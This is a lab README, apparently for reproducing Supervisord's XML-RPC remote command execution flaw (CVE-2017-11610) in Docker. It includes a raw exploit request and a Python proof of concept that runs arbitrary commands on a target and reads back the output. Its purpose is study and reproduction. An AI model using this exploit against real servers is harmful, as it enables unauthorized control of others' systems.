Aaron
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80 lines
2.3 KiB
Markdown
80 lines
2.3 KiB
Markdown
# Supervisord XML-RPC Remote Command Execution (CVE-2017-11610)
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[中文版本(Chinese version)](README.zh-cn.md)
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Supervisord is a process control system for Unix-like operating systems.
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In the supervisor version before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3, a remote code execution vulnerability exists in its XML-RPC interface, which allows attackers to execute arbitrary commands through specially crafted XML-RPC requests.
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References:
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- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
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- https://blogs.securiteam.com/index.php/archives/3348
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- https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
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## Environment Setup
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Execute the following commands to start Supervisord 3.3.2:
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```
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docker compose build
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docker compose up -d
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```
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After the server starts, you can access the Supervisord interface at `http://your-ip:9001`.
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## Vulnerability Reproduction
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Send the following request to the XML-RPC interface, and the command will be executed:
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```
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POST /RPC2 HTTP/1.1
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Host: localhost
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 213
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<?xml version="1.0"?>
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<methodCall>
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<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
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<params>
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<param>
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<string>touch /tmp/success</string>
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</param>
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</params>
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</methodCall>
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```
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### POC with Direct Output
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@Ricter proposed an effective approach on Weibo: write the command execution results to a log file, then use Supervisord's built-in readLog method to read the log file and retrieve the results.
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Here's a simple POC [poc.py](poc.py):
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```python
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#!/usr/bin/env python3
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import xmlrpc.client
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import sys
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target = sys.argv[1]
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command = sys.argv[2]
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with xmlrpc.client.ServerProxy(target) as proxy:
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old = getattr(proxy, 'supervisor.readLog')(0,0)
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logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
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getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
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result = getattr(proxy, 'supervisor.readLog')(0,0)
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print(result[len(old):])
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```
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Execute with Python3 to get the results: `./poc.py "http://your-ip:9001/RPC2" "command"`：
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